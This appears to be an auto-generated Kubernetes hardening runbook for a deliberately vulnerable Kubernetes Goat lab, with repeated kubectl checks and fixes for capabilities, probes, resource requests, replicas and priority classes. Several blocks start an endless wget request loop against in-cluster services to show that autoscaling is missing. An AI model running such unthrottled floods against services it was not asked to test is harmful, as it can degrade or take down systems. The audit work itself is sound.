# securityContext:
#   capabilities:
#     drop: ["ALL"]

# VALIDATION: Check Capabilities Drop ALL

kubectl get Deployment hunger-check-deployment -n big-monolith -o yaml | grep -A5 capabilities
# Should show "drop: [ALL]" — empty = VULNERABLE

# REMEDIATION:
# securityContext:
#   capabilities:
#     drop: ["ALL"]

# VALIDATION: Check Capabilities Drop ALL

kubectl get Deployment poor-registry-deployment -n default -o yaml | grep -A5 capabilities
# Should show "drop: [ALL]" — empty = VULNERABLE

# REMEDIATION:
# securityContext:
#   capabilities:
#     drop: ["ALL"]

# VALIDATION: Check Capabilities Drop ALL

kubectl get Deployment internal-proxy-deployment -n default -o yaml | grep -A5 capabilities
# Should show "drop: [ALL]" — empty = VULNERABLE

# REMEDIATION:
# securityContext:
#   capabilities:
#     drop: ["ALL"]

# VALIDATION: Check Capabilities Drop ALL

kubectl get Deployment build-code-deployment -n default -o yaml | grep -A5 capabilities
# Should show "drop: [ALL]" — empty = VULNERABLE

# REMEDIATION:
# securityContext:
#   capabilities:
#     drop: ["ALL"]

# VALIDATION: Check Capabilities Drop ALL

kubectl get Deployment cache-store-deployment -n secure-middleware -o yaml | grep -A5 capabilities
# Should show "drop: [ALL]" — empty = VULNERABLE

# REMEDIATION:
# securityContext:
#   capabilities:
#     drop: ["ALL"]

# VALIDATION: Check Capabilities Drop ALL

kubectl get Deployment metadata-db -n default -o yaml | grep -A5 capabilities
# Should show "drop: [ALL]" — empty = VULNERABLE

# REMEDIATION:
# securityContext:
#   capabilities:
#     drop: ["ALL"]

# INFO: Missing HorizontalPodAutoscaler - No Auto-Scaling

# Verify no HPA exists
kubectl get hpa -n default

# Check current resource usage that would trigger scaling
kubectl top pods -n default

# Simulate load to demonstrate lack of scaling
kubectl run load-test --rm -it --image=busybox --restart=Never -- \
  sh -c "while true; do wget -q -O- http://internal-proxy-deployment.default.svc.cluster.local/; done"

# Watch pod count — it will NOT increase without HPA
kubectl get pods -n default -w

# REMEDIATION: Create HPA targeting CPU utilization:
kubectl autoscale deployment internal-proxy-deployment \
  --cpu-percent=70 --min=2 --max=10 -n default

# INFO: Missing HorizontalPodAutoscaler - No Auto-Scaling

# Verify no HPA exists
kubectl get hpa -n default

# Check current resource usage that would trigger scaling
kubectl top pods -n default

# Simulate load to demonstrate lack of scaling
kubectl run load-test --rm -it --image=busybox --restart=Never -- \
  sh -c "while true; do wget -q -O- http://build-code-deployment.default.svc.cluster.local/; done"

# Watch pod count — it will NOT increase without HPA
kubectl get pods -n default -w

# REMEDIATION: Create HPA targeting CPU utilization:
kubectl autoscale deployment build-code-deployment \
  --cpu-percent=70 --min=2 --max=10 -n default

# INFO: Missing HorizontalPodAutoscaler - No Auto-Scaling

# Verify no HPA exists
kubectl get hpa -n secure-middleware

# Check current resource usage that would trigger scaling
kubectl top pods -n secure-middleware

# Simulate load to demonstrate lack of scaling
kubectl run load-test --rm -it --image=busybox --restart=Never -- \
  sh -c "while true; do wget -q -O- http://cache-store-deployment.secure-middleware.svc.cluster.local/; done"

# Watch pod count — it will NOT increase without HPA
kubectl get pods -n secure-middleware -w

# REMEDIATION: Create HPA targeting CPU utilization:
kubectl autoscale deployment cache-store-deployment \
  --cpu-percent=70 --min=2 --max=10 -n secure-middleware

# INFO: Missing HorizontalPodAutoscaler - No Auto-Scaling

# Verify no HPA exists
kubectl get hpa -n big-monolith

# Check current resource usage that would trigger scaling
kubectl top pods -n big-monolith

# Simulate load to demonstrate lack of scaling
kubectl run load-test --rm -it --image=busybox --restart=Never -- \
  sh -c "while true; do wget -q -O- http://hunger-check-deployment.big-monolith.svc.cluster.local/; done"

# Watch pod count — it will NOT increase without HPA
kubectl get pods -n big-monolith -w

# REMEDIATION: Create HPA targeting CPU utilization:
kubectl autoscale deployment hunger-check-deployment \
  --cpu-percent=70 --min=2 --max=10 -n big-monolith

# INFO: Missing HorizontalPodAutoscaler - No Auto-Scaling

# Verify no HPA exists
kubectl get hpa -n default

# Check current resource usage that would trigger scaling
kubectl top pods -n default

# Simulate load to demonstrate lack of scaling
kubectl run load-test --rm -it --image=busybox --restart=Never -- \
  sh -c "while true; do wget -q -O- http://metadata-db.default.svc.cluster.local/; done"

# Watch pod count — it will NOT increase without HPA
kubectl get pods -n default -w

# REMEDIATION: Create HPA targeting CPU utilization:
kubectl autoscale deployment metadata-db \
  --cpu-percent=70 --min=2 --max=10 -n default

# INFO: Missing HorizontalPodAutoscaler - No Auto-Scaling

# Verify no HPA exists
kubectl get hpa -n default

# Check current resource usage that would trigger scaling
kubectl top pods -n default

# Simulate load to demonstrate lack of scaling
kubectl run load-test --rm -it --image=busybox --restart=Never -- \
  sh -c "while true; do wget -q -O- http://health-check-deployment.default.svc.cluster.local/; done"

# Watch pod count — it will NOT increase without HPA
kubectl get pods -n default -w

# REMEDIATION: Create HPA targeting CPU utilization:
kubectl autoscale deployment health-check-deployment \
  --cpu-percent=70 --min=2 --max=10 -n default

# INFO: Missing HorizontalPodAutoscaler - No Auto-Scaling

# Verify no HPA exists
kubectl get hpa -n default

# Check current resource usage that would trigger scaling
kubectl top pods -n default

# Simulate load to demonstrate lack of scaling
kubectl run load-test --rm -it --image=busybox --restart=Never -- \
  sh -c "while true; do wget -q -O- http://poor-registry-deployment.default.svc.cluster.local/; done"

# Watch pod count — it will NOT increase without HPA
kubectl get pods -n default -w

# REMEDIATION: Create HPA targeting CPU utilization:
kubectl autoscale deployment poor-registry-deployment \
  --cpu-percent=70 --min=2 --max=10 -n default

# INFO: Missing HorizontalPodAutoscaler - No Auto-Scaling

# Verify no HPA exists
kubectl get hpa -n local-path-storage

# Check current resource usage that would trigger scaling
kubectl top pods -n local-path-storage

# Simulate load to demonstrate lack of scaling
kubectl run load-test --rm -it --image=busybox --restart=Never -- \
  sh -c "while true; do wget -q -O- http://local-path-provisioner.local-path-storage.svc.cluster.local/; done"

# Watch pod count — it will NOT increase without HPA
kubectl get pods -n local-path-storage -w

# REMEDIATION: Create HPA targeting CPU utilization:
kubectl autoscale deployment local-path-provisioner \
  --cpu-percent=70 --min=2 --max=10 -n local-path-storage

# INFO: Missing HorizontalPodAutoscaler - No Auto-Scaling

# Verify no HPA exists
kubectl get hpa -n default

# Check current resource usage that would trigger scaling
kubectl top pods -n default

# Simulate load to demonstrate lack of scaling
kubectl run load-test --rm -it --image=busybox --restart=Never -- \
  sh -c "while true; do wget -q -O- http://kubernetes-goat-home-deployment.default.svc.cluster.local/; done"

# Watch pod count — it will NOT increase without HPA
kubectl get pods -n default -w

# REMEDIATION: Create HPA targeting CPU utilization:
kubectl autoscale deployment kubernetes-goat-home-deployment \
  --cpu-percent=70 --min=2 --max=10 -n default

# INFO: Missing HorizontalPodAutoscaler - No Auto-Scaling

# Verify no HPA exists
kubectl get hpa -n default

# Check current resource usage that would trigger scaling
kubectl top pods -n default

# Simulate load to demonstrate lack of scaling
kubectl run load-test --rm -it --image=busybox --restart=Never -- \
  sh -c "while true; do wget -q -O- http://system-monitor-deployment.default.svc.cluster.local/; done"

# Watch pod count — it will NOT increase without HPA
kubectl get pods -n default -w

# REMEDIATION: Create HPA targeting CPU utilization:
kubectl autoscale deployment system-monitor-deployment \
  --cpu-percent=70 --min=2 --max=10 -n default

# VALIDATION: Check Liveness Probe

kubectl describe Deployment build-code-deployment -n default | grep -i liveness
kubectl get Deployment build-code-deployment -n default -o yaml | grep -A5 livenessProbe
# Empty output = missing probe (VULNERABLE)

# VALIDATION: Check Liveness Probe

kubectl describe Deployment system-monitor-deployment -n default | grep -i liveness
kubectl get Deployment system-monitor-deployment -n default -o yaml | grep -A5 livenessProbe
# Empty output = missing probe (VULNERABLE)

# VALIDATION: Check Liveness Probe

kubectl describe Deployment cache-store-deployment -n secure-middleware | grep -i liveness
kubectl get Deployment cache-store-deployment -n secure-middleware -o yaml | grep -A5 livenessProbe
# Empty output = missing probe (VULNERABLE)

# VALIDATION: Check Liveness Probe

kubectl describe Deployment internal-proxy-deployment -n default | grep -i liveness
kubectl get Deployment internal-proxy-deployment -n default -o yaml | grep -A5 livenessProbe
# Empty output = missing probe (VULNERABLE)

# VALIDATION: Check Liveness Probe

kubectl describe Deployment health-check-deployment -n default | grep -i liveness
kubectl get Deployment health-check-deployment -n default -o yaml | grep -A5 livenessProbe
# Empty output = missing probe (VULNERABLE)

# VALIDATION: Check Liveness Probe

kubectl describe Deployment kubernetes-goat-home-deployment -n default | grep -i liveness
kubectl get Deployment kubernetes-goat-home-deployment -n default -o yaml | grep -A5 livenessProbe
# Empty output = missing probe (VULNERABLE)

# VALIDATION: Check Liveness Probe

kubectl describe Deployment poor-registry-deployment -n default | grep -i liveness
kubectl get Deployment poor-registry-deployment -n default -o yaml | grep -A5 livenessProbe
# Empty output = missing probe (VULNERABLE)

# VALIDATION: Check Liveness Probe

kubectl describe Deployment hunger-check-deployment -n big-monolith | grep -i liveness
kubectl get Deployment hunger-check-deployment -n big-monolith -o yaml | grep -A5 livenessProbe
# Empty output = missing probe (VULNERABLE)

# VALIDATION: Check Liveness Probe

kubectl describe Deployment local-path-provisioner -n local-path-storage | grep -i liveness
kubectl get Deployment local-path-provisioner -n local-path-storage -o yaml | grep -A5 livenessProbe
# Empty output = missing probe (VULNERABLE)

# INFO: Missing PriorityClass - Unpredictable Eviction Order

# Verify no priority class configured
kubectl get Deployment cache-store-deployment -n secure-middleware \
  -o jsonpath='{.spec.template.spec.priorityClassName}'
# Empty = no priorityClass (defaults to 0)

# List available priority classes
kubectl get priorityclasses

# Check current pod priority
kubectl get pods -n secure-middleware -l app=cache-store-deployment \
  -o jsonpath='{.items[0].spec.priority}'
# 0 = lowest priority

# REMEDIATION: Create and assign a priority class:
kubectl create priorityclass high-priority --value=1000000 --global-default=false
# Then set in pod spec: priorityClassName: high-priority

# INFO: Missing PriorityClass - Unpredictable Eviction Order

# Verify no priority class configured
kubectl get Deployment build-code-deployment -n default \
  -o jsonpath='{.spec.template.spec.priorityClassName}'
# Empty = no priorityClass (defaults to 0)

# List available priority classes
kubectl get priorityclasses

# Check current pod priority
kubectl get pods -n default -l app=build-code-deployment \
  -o jsonpath='{.items[0].spec.priority}'
# 0 = lowest priority

# REMEDIATION: Create and assign a priority class:
kubectl create priorityclass high-priority --value=1000000 --global-default=false
# Then set in pod spec: priorityClassName: high-priority

# INFO: Missing PriorityClass - Unpredictable Eviction Order

# Verify no priority class configured
kubectl get Deployment metadata-db -n default \
  -o jsonpath='{.spec.template.spec.priorityClassName}'
# Empty = no priorityClass (defaults to 0)

# List available priority classes
kubectl get priorityclasses

# Check current pod priority
kubectl get pods -n default -l app=metadata-db \
  -o jsonpath='{.items[0].spec.priority}'
# 0 = lowest priority

# REMEDIATION: Create and assign a priority class:
kubectl create priorityclass high-priority --value=1000000 --global-default=false
# Then set in pod spec: priorityClassName: high-priority

# INFO: Missing PriorityClass - Unpredictable Eviction Order

# Verify no priority class configured
kubectl get Deployment local-path-provisioner -n local-path-storage \
  -o jsonpath='{.spec.template.spec.priorityClassName}'
# Empty = no priorityClass (defaults to 0)

# List available priority classes
kubectl get priorityclasses

# Check current pod priority
kubectl get pods -n local-path-storage -l app=local-path-provisioner \
  -o jsonpath='{.items[0].spec.priority}'
# 0 = lowest priority

# REMEDIATION: Create and assign a priority class:
kubectl create priorityclass high-priority --value=1000000 --global-default=false
# Then set in pod spec: priorityClassName: high-priority

# INFO: Missing PriorityClass - Unpredictable Eviction Order

# Verify no priority class configured
kubectl get Deployment kubernetes-goat-home-deployment -n default \
  -o jsonpath='{.spec.template.spec.priorityClassName}'
# Empty = no priorityClass (defaults to 0)

# List available priority classes
kubectl get priorityclasses

# Check current pod priority
kubectl get pods -n default -l app=kubernetes-goat-home-deployment \
  -o jsonpath='{.items[0].spec.priority}'
# 0 = lowest priority

# REMEDIATION: Create and assign a priority class:
kubectl create priorityclass high-priority --value=1000000 --global-default=false
# Then set in pod spec: priorityClassName: high-priority

# INFO: Missing PriorityClass - Unpredictable Eviction Order

# Verify no priority class configured
kubectl get Deployment hunger-check-deployment -n big-monolith \
  -o jsonpath='{.spec.template.spec.priorityClassName}'
# Empty = no priorityClass (defaults to 0)

# List available priority classes
kubectl get priorityclasses

# Check current pod priority
kubectl get pods -n big-monolith -l app=hunger-check-deployment \
  -o jsonpath='{.items[0].spec.priority}'
# 0 = lowest priority

# REMEDIATION: Create and assign a priority class:
kubectl create priorityclass high-priority --value=1000000 --global-default=false
# Then set in pod spec: priorityClassName: high-priority

# INFO: Missing PriorityClass - Unpredictable Eviction Order

# Verify no priority class configured
kubectl get Deployment system-monitor-deployment -n default \
  -o jsonpath='{.spec.template.spec.priorityClassName}'
# Empty = no priorityClass (defaults to 0)

# List available priority classes
kubectl get priorityclasses

# Check current pod priority
kubectl get pods -n default -l app=system-monitor-deployment \
  -o jsonpath='{.items[0].spec.priority}'
# 0 = lowest priority

# REMEDIATION: Create and assign a priority class:
kubectl create priorityclass high-priority --value=1000000 --global-default=false
# Then set in pod spec: priorityClassName: high-priority

# INFO: Missing PriorityClass - Unpredictable Eviction Order

# Verify no priority class configured
kubectl get Deployment health-check-deployment -n default \
  -o jsonpath='{.spec.template.spec.priorityClassName}'
# Empty = no priorityClass (defaults to 0)

# List available priority classes
kubectl get priorityclasses

# Check current pod priority
kubectl get pods -n default -l app=health-check-deployment \
  -o jsonpath='{.items[0].spec.priority}'
# 0 = lowest priority

# REMEDIATION: Create and assign a priority class:
kubectl create priorityclass high-priority --value=1000000 --global-default=false
# Then set in pod spec: priorityClassName: high-priority

# INFO: Missing PriorityClass - Unpredictable Eviction Order

# Verify no priority class configured
kubectl get Deployment poor-registry-deployment -n default \
  -o jsonpath='{.spec.template.spec.priorityClassName}'
# Empty = no priorityClass (defaults to 0)

# List available priority classes
kubectl get priorityclasses

# Check current pod priority
kubectl get pods -n default -l app=poor-registry-deployment \
  -o jsonpath='{.items[0].spec.priority}'
# 0 = lowest priority

# REMEDIATION: Create and assign a priority class:
kubectl create priorityclass high-priority --value=1000000 --global-default=false
# Then set in pod spec: priorityClassName: high-priority

# INFO: Missing PriorityClass - Unpredictable Eviction Order

# Verify no priority class configured
kubectl get Deployment internal-proxy-deployment -n default \
  -o jsonpath='{.spec.template.spec.priorityClassName}'
# Empty = no priorityClass (defaults to 0)

# List available priority classes
kubectl get priorityclasses

# Check current pod priority
kubectl get pods -n default -l app=internal-proxy-deployment \
  -o jsonpath='{.items[0].spec.priority}'
# 0 = lowest priority

# REMEDIATION: Create and assign a priority class:
kubectl create priorityclass high-priority --value=1000000 --global-default=false
# Then set in pod spec: priorityClassName: high-priority

# VALIDATION: Check Readiness Probe

kubectl describe Deployment hunger-check-deployment -n big-monolith | grep -i readiness
kubectl get Deployment hunger-check-deployment -n big-monolith -o yaml | grep -A5 readinessProbe
# Empty output = missing probe (VULNERABLE)

# VALIDATION: Check Readiness Probe

kubectl describe Deployment system-monitor-deployment -n default | grep -i readiness
kubectl get Deployment system-monitor-deployment -n default -o yaml | grep -A5 readinessProbe
# Empty output = missing probe (VULNERABLE)

# VALIDATION: Check Readiness Probe

kubectl describe Deployment kubernetes-goat-home-deployment -n default | grep -i readiness
kubectl get Deployment kubernetes-goat-home-deployment -n default -o yaml | grep -A5 readinessProbe
# Empty output = missing probe (VULNERABLE)

# VALIDATION: Check Readiness Probe

kubectl describe Deployment local-path-provisioner -n local-path-storage | grep -i readiness
kubectl get Deployment local-path-provisioner -n local-path-storage -o yaml | grep -A5 readinessProbe
# Empty output = missing probe (VULNERABLE)

# VALIDATION: Check Readiness Probe

kubectl describe Deployment cache-store-deployment -n secure-middleware | grep -i readiness
kubectl get Deployment cache-store-deployment -n secure-middleware -o yaml | grep -A5 readinessProbe
# Empty output = missing probe (VULNERABLE)

# VALIDATION: Check Readiness Probe

kubectl describe Deployment internal-proxy-deployment -n default | grep -i readiness
kubectl get Deployment internal-proxy-deployment -n default -o yaml | grep -A5 readinessProbe
# Empty output = missing probe (VULNERABLE)

# VALIDATION: Check Readiness Probe

kubectl describe Deployment poor-registry-deployment -n default | grep -i readiness
kubectl get Deployment poor-registry-deployment -n default -o yaml | grep -A5 readinessProbe
# Empty output = missing probe (VULNERABLE)

# VALIDATION: Check Readiness Probe

kubectl describe Deployment health-check-deployment -n default | grep -i readiness
kubectl get Deployment health-check-deployment -n default -o yaml | grep -A5 readinessProbe
# Empty output = missing probe (VULNERABLE)

# VALIDATION: Check Readiness Probe

kubectl describe Deployment build-code-deployment -n default | grep -i readiness
kubectl get Deployment build-code-deployment -n default -o yaml | grep -A5 readinessProbe
# Empty output = missing probe (VULNERABLE)

# VALIDATION: Check Resource Requests

kubectl describe Job hidden-in-layers -n default | grep -A5 Requests
kubectl get Job hidden-in-layers -n default -o yaml | grep -A3 requests:
# Empty output = no requests (VULNERABLE)

# VALIDATION: Check Resource Requests

kubectl describe Deployment poor-registry-deployment -n default | grep -A5 Requests
kubectl get Deployment poor-registry-deployment -n default -o yaml | grep -A3 requests:
# Empty output = no requests (VULNERABLE)

# VALIDATION: Check Resource Requests

kubectl describe Deployment build-code-deployment -n default | grep -A5 Requests
kubectl get Deployment build-code-deployment -n default -o yaml | grep -A3 requests:
# Empty output = no requests (VULNERABLE)

# VALIDATION: Check Resource Requests

kubectl describe Job batch-check-job -n default | grep -A5 Requests
kubectl get Job batch-check-job -n default -o yaml | grep -A3 requests:
# Empty output = no requests (VULNERABLE)

# VALIDATION: Check Resource Requests

kubectl describe Deployment cache-store-deployment -n secure-middleware | grep -A5 Requests
kubectl get Deployment cache-store-deployment -n secure-middleware -o yaml | grep -A3 requests:
# Empty output = no requests (VULNERABLE)

# VALIDATION: Check Resource Requests

kubectl describe Deployment system-monitor-deployment -n default | grep -A5 Requests
kubectl get Deployment system-monitor-deployment -n default -o yaml | grep -A3 requests:
# Empty output = no requests (VULNERABLE)

# VALIDATION: Check Resource Requests

kubectl describe Deployment kubernetes-goat-home-deployment -n default | grep -A5 Requests
kubectl get Deployment kubernetes-goat-home-deployment -n default -o yaml | grep -A3 requests:
# Empty output = no requests (VULNERABLE)

# VALIDATION: Check Resource Requests

kubectl describe Deployment local-path-provisioner -n local-path-storage | grep -A5 Requests
kubectl get Deployment local-path-provisioner -n local-path-storage -o yaml | grep -A3 requests:
# Empty output = no requests (VULNERABLE)

# VALIDATION: Check Resource Requests

kubectl describe Deployment health-check-deployment -n default | grep -A5 Requests
kubectl get Deployment health-check-deployment -n default -o yaml | grep -A3 requests:
# Empty output = no requests (VULNERABLE)

# VALIDATION: Check Resource Requests

kubectl describe Deployment hunger-check-deployment -n big-monolith | grep -A5 Requests
kubectl get Deployment hunger-check-deployment -n big-monolith -o yaml | grep -A3 requests:
# Empty output = no requests (VULNERABLE)

# VALIDATION: Check Replica Count

kubectl get Deployment metadata-db -n default
kubectl get Deployment metadata-db -n default -o yaml | grep replicas:
# replicas: 1 = VULNERABLE (no HA)

# REMEDIATION: kubectl scale Deployment metadata-db -n default --replicas=3

# VALIDATION: Check Replica Count

kubectl get Deployment cache-store-deployment -n secure-middleware
kubectl get Deployment cache-store-deployment -n secure-middleware -o yaml | grep replicas:
# replicas: 1 = VULNERABLE (no HA)

# REMEDIATION: kubectl scale Deployment cache-store-deployment -n secure-middleware --replicas=3

# VALIDATION: Check Replica Count

kubectl get Deployment health-check-deployment -n default
kubectl get Deployment health-check-deployment -n default -o yaml | grep replicas:
# replicas: 1 = VULNERABLE (no HA)

# REMEDIATION: kubectl scale Deployment health-check-deployment -n default --replicas=3

# VALIDATION: Check Replica Count

kubectl get Deployment internal-proxy-deployment -n default
kubectl get Deployment internal-proxy-deployment -n default -o yaml | grep replicas:
# replicas: 1 = VULNERABLE (no HA)

# REMEDIATION: kubectl scale Deployment internal-proxy-deployment -n default --replicas=3